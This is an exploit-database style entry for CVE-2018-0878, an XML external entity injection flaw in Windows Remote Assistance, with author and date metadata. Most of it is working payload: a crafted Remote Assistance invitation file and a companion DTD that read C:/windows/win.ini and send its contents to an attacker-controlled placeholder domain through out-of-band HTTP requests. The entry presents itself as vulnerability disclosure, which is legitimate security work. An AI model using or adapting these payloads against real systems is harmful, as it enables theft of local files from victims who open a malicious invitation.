Microsoft Windows Remote Assistance suffers from an XML external entity injection vulnerability.
cb3025652af207020bf6755d7274530e# Exploit Title: Microsoft Windows Remote Assistance XXE
# Date: 27/03/2018
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 (x64), Windows 10 (x64)
# CVE : CVE-2018-0878
# Category: Remote Exploits
Invitation.msrcincident
------------------------
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">
%remote;%root;%oob;]>
xxe.xml
------------------------
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">
Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)